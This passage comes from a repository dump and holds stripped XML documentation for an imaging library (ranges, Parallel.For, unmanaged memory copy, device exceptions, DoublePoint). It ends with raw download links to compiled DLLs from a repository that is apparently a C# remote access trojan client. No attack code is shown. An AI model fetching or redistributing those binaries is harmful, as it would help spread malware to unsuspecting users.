1193 | Convert the signle precision range to integer range.
1194 |
1195 |
1196 | Specifies if inner integer range must be returned or outer range.
1197 |
1198 | Returns integer version of the range.
1199 |
1200 | If is set to , then the
1201 | returned integer range will always fit inside of the current single precision range.
1202 | If it is set to , then current single precision range will always
1203 | fit into the returned integer range.
1204 |
1205 |
1206 |
1207 |
1208 | Equality operator - checks if two ranges have equal min/max values.
1209 |
1210 |
1211 | First range to check.
1212 | Second range to check.
1213 |
1214 | Returns if min/max values of specified
1215 | ranges are equal.
1216 |
1217 |
1218 |
1219 |
1220 | Inequality operator - checks if two ranges have different min/max values.
1221 |
1222 |
1223 | First range to check.
1224 | Second range to check.
1225 |
1226 | Returns if min/max values of specified
1227 | ranges are not equal.
1228 |
1229 |
1230 |
1231 |
1232 | Check if this instance of equal to the specified one.
1233 |
1234 |
1235 | Another range to check equalty to.
1236 |
1237 | Return if objects are equal.
1238 |
1239 |
1240 |
1241 |
1242 | Get hash code for this instance.
1243 |
1244 |
1245 | Returns the hash code for this instance.
1246 |
1247 |
1248 |
1249 |
1250 | Get string representation of the class.
1251 |
1252 |
1253 | Returns string, which contains min/max values of the range in readable form.
1254 |
1255 |
1256 |
1257 |
1258 | Minimum value of the range.
1259 |
1260 |
1261 | The property represents minimum value (left side limit) or the range -
1262 | [min, max].
1263 |
1264 |
1265 |
1266 |
1267 | Maximum value of the range.
1268 |
1269 |
1270 | The property represents maximum value (right side limit) or the range -
1271 | [min, max].
1272 |
1273 |
1274 |
1275 |
1276 | Length of the range (deffirence between maximum and minimum values).
1277 |
1278 |
1279 |
1280 |
1281 | The class provides support for parallel computations, paralleling loop's iterations.
1282 |
1283 |
1284 | The class allows to parallel loop's iteration computing them in separate threads,
1285 | what allows their simultaneous execution on multiple CPUs/cores.
1286 |
1287 |
1288 |
1289 |
1290 |
1291 | Executes a for-loop in which iterations may run in parallel.
1292 |
1293 |
1294 | Loop's start index.
1295 | Loop's stop index.
1296 | Loop's body.
1297 |
1298 | The method is used to parallel for-loop running its iterations in
1299 | different threads. The start and stop parameters define loop's
1300 | starting and ending loop's indexes. The number of iterations is equal to stop - start.
1301 |
1302 |
1303 | Sample usage:
1304 |
1305 | Parallel.For( 0, 20, delegate( int i )
1306 | // which is equivalent to
1307 | // for ( int i = 0; i < 20; i++ )
1308 | {
1309 | System.Diagnostics.Debug.WriteLine( "Iteration: " + i );
1310 | // ...
1311 | } );
1312 |
1313 |
1314 |
1315 |
1316 |
1317 |
1318 | Number of threads used for parallel computations.
1319 |
1320 |
1321 | The property sets how many worker threads are created for paralleling
1322 | loops' computations.
1323 |
1324 | By default the property is set to number of CPU's in the system
1325 | (see ).
1326 |
1327 |
1328 |
1329 |
1330 |
1331 | Delegate defining for-loop's body.
1332 |
1333 |
1334 | Loop's index.
1335 |
1336 |
1337 |
1338 |
1339 | Set of systems tools.
1340 |
1341 |
1342 | The class is a container of different system tools, which are used
1343 | across the framework. Some of these tools are platform specific, so their
1344 | implementation is different on different platform, like .NET and Mono.
1345 |
1346 |
1347 |
1348 |
1349 |
1350 | Copy block of unmanaged memory.
1351 |
1352 |
1353 | Destination pointer.
1354 | Source pointer.
1355 | Memory block's length to copy.
1356 |
1357 | Return's value of - pointer to destination.
1358 |
1359 | This function is required because of the fact that .NET does
1360 | not provide any way to copy unmanaged blocks, but provides only methods to
1361 | copy from unmanaged memory to managed memory and vise versa.
1362 |
1363 |
1364 |
1365 |
1366 | Copy block of unmanaged memory.
1367 |
1368 |
1369 | Destination pointer.
1370 | Source pointer.
1371 | Memory block's length to copy.
1372 |
1373 | Return's value of - pointer to destination.
1374 |
1375 | This function is required because of the fact that .NET does
1376 | not provide any way to copy unmanaged blocks, but provides only methods to
1377 | copy from unmanaged memory to managed memory and vise versa.
1378 |
1379 |
1380 |
1381 |
1382 | Fill memory region with specified value.
1383 |
1384 |
1385 | Destination pointer.
1386 | Filler byte's value.
1387 | Memory block's length to fill.
1388 |
1389 | Return's value of - pointer to destination.
1390 |
1391 |
1392 |
1393 |
1394 | Fill memory region with specified value.
1395 |
1396 |
1397 | Destination pointer.
1398 | Filler byte's value.
1399 | Memory block's length to fill.
1400 |
1401 | Return's value of - pointer to destination.
1402 |
1403 |
1404 |
1405 |
1406 | Connection failed exception.
1407 |
1408 |
1409 | The exception is thrown in the case if connection to device
1410 | has failed.
1411 |
1412 |
1413 |
1414 |
1415 |
1416 | Initializes a new instance of the class.
1417 |
1418 |
1419 | Exception's message.
1420 |
1421 |
1422 |
1423 |
1424 | Connection lost exception.
1425 |
1426 |
1427 | The exception is thrown in the case if connection to device
1428 | is lost. When the exception is caught, user may need to reconnect to the device.
1429 |
1430 |
1431 |
1432 |
1433 |
1434 | Initializes a new instance of the class.
1435 |
1436 |
1437 | Exception's message.
1438 |
1439 |
1440 |
1441 |
1442 | Not connected exception.
1443 |
1444 |
1445 | The exception is thrown in the case if connection to device
1446 | is not established, but user requests for its services.
1447 |
1448 |
1449 |
1450 |
1451 |
1452 | Initializes a new instance of the class.
1453 |
1454 |
1455 | Exception's message.
1456 |
1457 |
1458 |
1459 |
1460 | Device busy exception.
1461 |
1462 |
1463 | The exception is thrown in the case if access to certain device
1464 | is not available due to the fact that it is currently busy handling other request/connection.
1465 |
1466 |
1467 |
1468 |
1469 |
1470 | Initializes a new instance of the class.
1471 |
1472 |
1473 | Exception's message.
1474 |
1475 |
1476 |
1477 |
1478 | Device error exception.
1479 |
1480 |
1481 | The exception is thrown in the case if some error happens with a device, which
1482 | may need to be reported to user.
1483 |
1484 |
1485 |
1486 |
1487 | Initializes a new instance of the class.
1488 |
1489 |
1490 | Exception's message.
1491 |
1492 |
1493 |
1494 |
1495 | Structure for representing a pair of coordinates of double type.
1496 |
1497 |
1498 | The structure is used to store a pair of floating point
1499 | coordinates with double precision.
1500 |
1501 | Sample usage:
1502 |
1503 | // assigning coordinates in the constructor
1504 | DoublePoint p1 = new DoublePoint( 10, 20 );
1505 | // creating a point and assigning coordinates later
1506 | DoublePoint p2;
1507 | p2.X = 30;
1508 | p2.Y = 40;
1509 | // calculating distance between two points
1510 | double distance = p1.DistanceTo( p2 );
1511 |
1512 |
1513 |
1514 |
1515 |
1516 |
1517 | X coordinate.
1518 |
1519 |
1520 |
1521 |
1522 |
1523 | Y coordinate.
1524 |
1525 |
1526 |
1527 |
1528 |
1529 | Initializes a new instance of the structure.
1530 |
1531 |
1532 | X axis coordinate.
1533 | Y axis coordinate.
1534 |
1535 |
1536 |
1537 |
1538 | Calculate Euclidean distance between two points.
1539 |
1540 |
1541 | Point to calculate distance to.
1542 |
1543 | Returns Euclidean distance between this point and
1544 | points.
1545 |
1546 |
1547 |
1548 |
1549 | Calculate squared Euclidean distance between two points.
1550 |
1551 |
1552 | Point to calculate distance to.
1553 |
1554 | Returns squared Euclidean distance between this point and
1555 | points.
1556 |
1557 |
1558 |
1559 |
1560 | Addition operator - adds values of two points.
1561 |
1562 |
1563 | First point for addition.
1564 | Second point for addition.
1565 |
1566 | Returns new point which coordinates equal to sum of corresponding
1567 | coordinates of specified points.
1568 |
1569 |
1570 |
1571 |
1572 | Addition operator - adds values of two points.
1573 |
1574 |
1575 | First point for addition.
1576 | Second point for addition.
1577 |
1578 | Returns new point which coordinates equal to sum of corresponding
1579 | coordinates of specified points.
1580 |
1581 |
1582 |
1583 |
1584 | Subtraction operator - subtracts values of two points.
1585 |
1586 |
1587 | Point to subtract from.
1588 | Point to subtract.
1589 |
1590 | Returns new point which coordinates equal to difference of corresponding
1591 | coordinates of specified points.
1592 |
1593 |
1594 |
1595 |
1596 | Subtraction operator - subtracts values of two points.
1597 |
1598 |
1599 | Point to subtract from.
1600 | Point to subtract.
1601 |
1602 | Returns new point which coordinates equal to difference of corresponding
1603 | coordinates of specified points.
1604 |
1605 |
1606 |
1607 |
1608 | Addition operator - adds scalar to the specified point.
1609 |
1610 |
1611 | Point to increase coordinates of.
1612 | Value to add to coordinates of the specified point.
1613 |
1614 | Returns new point which coordinates equal to coordinates of
1615 | the specified point increased by specified value.
1616 |
1617 |
1618 |
1619 |
1620 | Addition operator - adds scalar to the specified point.
1621 |
1622 |
1623 | Point to increase coordinates of.
1624 | Value to add to coordinates of the specified point.
1625 |
1626 | Returns new point which coordinates equal to coordinates of
1627 | the specified point increased by specified value.
1628 |
1629 |
1630 |
1631 |
1632 | Subtraction operator - subtracts scalar from the specified point.
1633 |
1634 |
1635 | Point to decrease coordinates of.
1636 | Value to subtract from coordinates of the specified point.
1637 |
1638 | Returns new point which coordinates equal to coordinates of
1639 | the specified point decreased by specified value.
1640 |
1641 |
1642 |
1643 |
1644 | Subtraction operator - subtracts scalar from the specified point.
1645 |
1646 |
1647 | Point to decrease coordinates of.
1648 | Value to subtract from coordinates of the specified point.
1649 |
1650 | Returns new point which coordinates equal to coordinates of
1651 | the specified point decreased by specified value.
1652 |
1653 |
1654 |
1655 |
1656 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
1657 |
1658 |
1659 | Point to multiply coordinates of.
1660 | Multiplication factor.
1661 |
1662 | Returns new point which coordinates equal to coordinates of
1663 | the specified point multiplied by specified value.
1664 |
1665 |
1666 |
1667 |
1668 | Multiplication operator - multiplies coordinates of the specified point by scalar value.
1669 |
1670 |
1671 | Point to multiply coordinates of.
1672 | Multiplication factor.
1673 |
1674 | Returns new point which coordinates equal to coordinates of
1675 | the specified point multiplied by specified value.
1676 |
1677 |
1678 |
1679 |
1680 | Division operator - divides coordinates of the specified point by scalar value.
1681 |
1682 |
1683 | Point to divide coordinates of.
1684 | Division factor.
1685 |
1686 | Returns new point which coordinates equal to coordinates of
1687 | the specified point divided by specified value.
1688 |
1689 |
1690 |
1691 |
1692 | Division operator - divides coordinates of the specified point by scalar value.
1693 |
1694 |
1695 | Point to divide coordinates of.
1696 | Division factor.
1697 |
1698 | Returns new point which coordinates equal to coordinates of
1699 | the specified point divided by specified value.
1700 |
1701 |
1702 |
1703 |
1704 | Equality operator - checks if two points have equal coordinates.
1705 |
1706 |
1707 | First point to check.
1708 | Second point to check.
1709 |
1710 | Returns if coordinates of specified
1711 | points are equal.
1712 |
1713 |
1714 |
1715 |
1716 | Inequality operator - checks if two points have different coordinates.
1717 |
1718 |
1719 | First point to check.
1720 | Second point to check.
1721 |
1722 | Returns if coordinates of specified
1723 | points are not equal.
1724 |
1725 |
1726 |
1727 |
1728 | Check if this instance of equal to the specified one.
1729 |
1730 |
1731 | Another point to check equalty to.
1732 |
1733 | Return if objects are equal.
1734 |
1735 |
1736 |
1737 |
1738 | Get hash code for this instance.
1739 |
1740 |
1741 | Returns the hash code for this instance.
1742 |
1743 |
1744 |
1745 |
1746 | Explicit conversion to .
1747 |
1748 |
1749 | Double precision point to convert to integer point.
1750 |
1751 | Returns new integer point which coordinates are explicitly converted
1752 | to integers from coordinates of the specified double precision point by
1753 | casting double values to integers value.
1754 |
1755 |
1756 |
1757 |
1758 | Explicit conversion to .
1759 |
1760 |
1761 | Double precision point to convert to single precision point.
1762 |
1763 | Returns new single precision point which coordinates are explicitly converted
1764 | to floats from coordinates of the specified double precision point by
1765 | casting double values to float value.
1766 |
1767 |
1768 |
1769 |
1770 | Rounds the double precision point.
1771 |
1772 |
1773 | Returns new integer point, which coordinates equal to whole numbers
1774 | nearest to the corresponding coordinates of the double precision point.
1775 |
1776 |
1777 |
1778 |
1779 | Get string representation of the class.
1780 |
1781 |
1782 | Returns string, which contains values of the point in readable form.
1783 |
1784 |
1785 |
1786 |
1787 | Calculate Euclidean norm of the vector comprised of the point's
1788 | coordinates - distance from (0, 0) in other words.
1789 |
1790 |
1791 | Returns point's distance from (0, 0) point.
1792 |
1793 |
1794 |
1795 |
1796 |
--------------------------------------------------------------------------------
/TutClient/bin/Debug/NAudio.WindowsMediaFormat.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/NAudio.WindowsMediaFormat.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/NAudio.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/NAudio.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/SQLite.Interop.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/SQLite.Interop.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/System.Data.SQLite.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/System.Data.SQLite.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/UrlHistoryLibrary.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/UrlHistoryLibrary.dll
--------------------------------------------------------------------------------
/TutClient/bin/Debug/appCom.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Client/cb8d1611bc23d46ced677de73fdbe7f09725e8e4/TutClient/bin/Debug/appCom.dll
--------------------------------------------------------------------------------